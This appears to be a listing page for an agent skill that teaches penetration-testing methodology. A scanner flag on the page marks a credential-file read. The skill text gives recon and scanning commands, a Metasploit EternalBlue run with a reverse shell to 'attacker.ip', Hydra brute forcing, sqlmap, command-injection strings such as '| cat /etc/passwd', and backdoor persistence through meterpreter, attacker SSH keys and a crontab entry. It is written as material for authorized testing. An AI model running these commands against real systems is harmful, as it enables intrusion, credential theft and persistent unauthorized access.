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ethical-hacking-methodology skill

by zebbern·zebbern/claude-code-guide·4.6k stars·MIT

This skill should be used when the user asks to "learn ethical hacking", "understand penetration testing lifecycle", "perform reconnaissance", "conduct security scanning", "exploit vulnerabilities", or "write penetration test reports". It provides comprehensive ethical hacking methodology and techniques.

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  • highSKILL.md:269

    Reads credential files (SSH keys, cloud or package-manager tokens) that a skill has no normal reason to touch.

    # | cat /etc/passwd

Install the ethical-hacking-methodology skill

A skill is a folder. Copy it into your agent's skills folder and the agent loads it when the task matches its description. 

git clone --depth 1 https://github.com/zebbern/claude-code-guide.git /tmp/claude-code-guide
mkdir -p ~/.claude/skills
cp -r /tmp/claude-code-guide/skills/ethical-hacking-methodology ~/.claude/skills/ethical-hacking-methodology
available in every project

In the Claude apps, zip the folder and upload it from the Skills settings. The folder on GitHub

The instructions your agent would load

SKILL.md as published, without the frontmatter. Read it on GitHub

Ethical Hacking Methodology

Purpose

Master the complete penetration testing lifecycle from reconnaissance through reporting. This skill covers the five stages of ethical hacking methodology, essential tools, attack techniques, and professional reporting for authorized security assessments.

Prerequisites

Required Environment

  • Kali Linux installed (persistent or live)
  • Network access to authorized targets
  • Written authorization from system owner

Required Knowledge

  • Basic networking concepts
  • Linux command-line proficiency
  • Understanding of web technologies
  • Familiarity with security concepts

Outputs and Deliverables

  1. Reconnaissance Report - Target information gathered
  2. Vulnerability Assessment - Identified weaknesses
  3. Exploitation Evidence - Proof of concept attacks
  4. Final Report - Executive and technical findings

Core Workflow

Phase 1: Understanding Hacker Types

Classification of security professionals:

White Hat Hackers (Ethical Hackers)

  • Authorized security professionals
  • Conduct penetration testing with permission
  • Goal: Identify and fix vulnerabilities
  • Also known as: penetration testers, security consultants

Black Hat Hackers (Malicious)

  • Unauthorized system intrusions
  • Motivated by profit, revenge, or notoriety
  • Goal: Steal data, cause damage
  • Also known as: crackers, criminal hackers

Grey Hat Hackers (Hybrid)

  • May cross ethical boundaries
  • Not malicious but may break rules
  • Often disclose vulnerabilities publicly
  • Mixed motivations

Other Classifications

  • Script Kiddies: Use pre-made tools without understanding
  • Hacktivists: Politically or socially motivated
  • Nation State: Government-sponsored operatives
  • Coders: Develop tools and exploits

Phase 2: Reconnaissance

Gather information without direct system interaction:

Passive Reconnaissance

# WHOIS lookup
whois target.com

# DNS enumeration
nslookup target.com
dig target.com ANY
dig target.com MX
dig target.com NS

# Subdomain discovery
dnsrecon -d target.com

# Email harvesting
theHarvester -d target.com -b all

Google Hacking (OSINT)

# Find exposed files
site:target.com filetype:pdf
site:target.com filetype:xls
site:target.com filetype:doc

# Find login pages
site:target.com inurl:login
site:target.com inurl:admin

# Find directory listings
site:target.com intitle:"index of"

# Find configuration files
site:target.com filetype:config
site:target.com filetype:env

Google Hacking Database Categories:

  • Files containing passwords
  • Sensitive directories
  • Web server detection
  • Vulnerable servers
  • Error messages
  • Login portals

Social Media Reconnaissance

  • LinkedIn: Organizational charts, technologies used
  • Twitter: Company announcements, employee info
  • Facebook: Personal information, relationships
  • Job postings: Technology stack revelations

Phase 3: Scanning

Active enumeration of target systems:

Host Discovery

# Ping sweep
nmap -sn 192.168.1.0/24

# ARP scan (local network)
arp-scan -l

# Discover live hosts
nmap -sP 192.168.1.0/24

Port Scanning

# TCP SYN scan (stealth)
nmap -sS target.com

# Full TCP connect scan
nmap -sT target.com

# UDP scan
nmap -sU target.com

# All ports scan
nmap -p- target.com

# Top 1000 ports with service detection
nmap -sV target.com

# Aggressive scan (OS, version, scripts)
nmap -A target.com

Service Enumeration

# Specific service scripts
nmap --script=http-enum target.com
nmap --script=smb-enum-shares target.com
nmap --script=ftp-anon target.com

# Vulnerability scanning
nmap --script=vuln target.com

Common Port Reference

Phase 4: Vulnerability Analysis

Identify exploitable weaknesses:

Automated Scanning

# Nikto web scanner
nikto -h http://target.com

# OpenVAS (command line)
omp -u admin -w password --xml="<get_tasks/>"

# Nessus (via API)
nessuscli scan --target target.com

Web Application Testing (OWASP)

  • SQL Injection
  • Cross-Site Scripting (XSS)
  • Broken Authentication
  • Security Misconfiguration
  • Sensitive Data Exposure
  • XML External Entities (XXE)
  • Broken Access Control
  • Insecure Deserialization
  • Using Components with Known Vulnerabilities
  • Insufficient Logging & Monitoring

Manual Techniques

# Directory brute forcing
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt

# Subdomain enumeration
gobuster dns -d target.com -w /usr/share/wordlists/subdomains.txt

# Web technology fingerprinting
whatweb target.com

Phase 5: Exploitation

Actively exploit discovered vulnerabilities:

Metasploit Framework

# Start Metasploit
msfconsole

# Search for exploits
msf> search type:exploit name:smb

# Use specific exploit
msf> use exploit/windows/smb/ms17_010_eternalblue

# Set target
msf> set RHOSTS target.com

# Set payload
msf> set PAYLOAD windows/meterpreter/reverse_tcp
msf> set LHOST attacker.ip

# Execute
msf> exploit

Password Attacks

# Hydra brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://target.com
hydra -L users.txt -P passwords.txt ftp://target.com

# John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

Web Exploitation

# SQLMap for SQL injection
sqlmap -u "http://target.com/page.php?id=1" --dbs
sqlmap -u "http://target.com/page.php?id=1" -D database --tables

# XSS testing
# Manual: <script>alert('XSS')</script>

# Command injection testing
# ; ls -la
# | cat /etc/passwd

Phase 6: Maintaining Access

Establish persistent access:

Backdoors

# Meterpreter persistence
meterpreter> run persistence -X -i 30 -p 4444 -r attacker.ip

# SSH key persistence
# Add attacker's public key to ~/.ssh/authorized_keys

# Cron job persistence
echo "* * * * * /tmp/backdoor.sh" >> /etc/crontab

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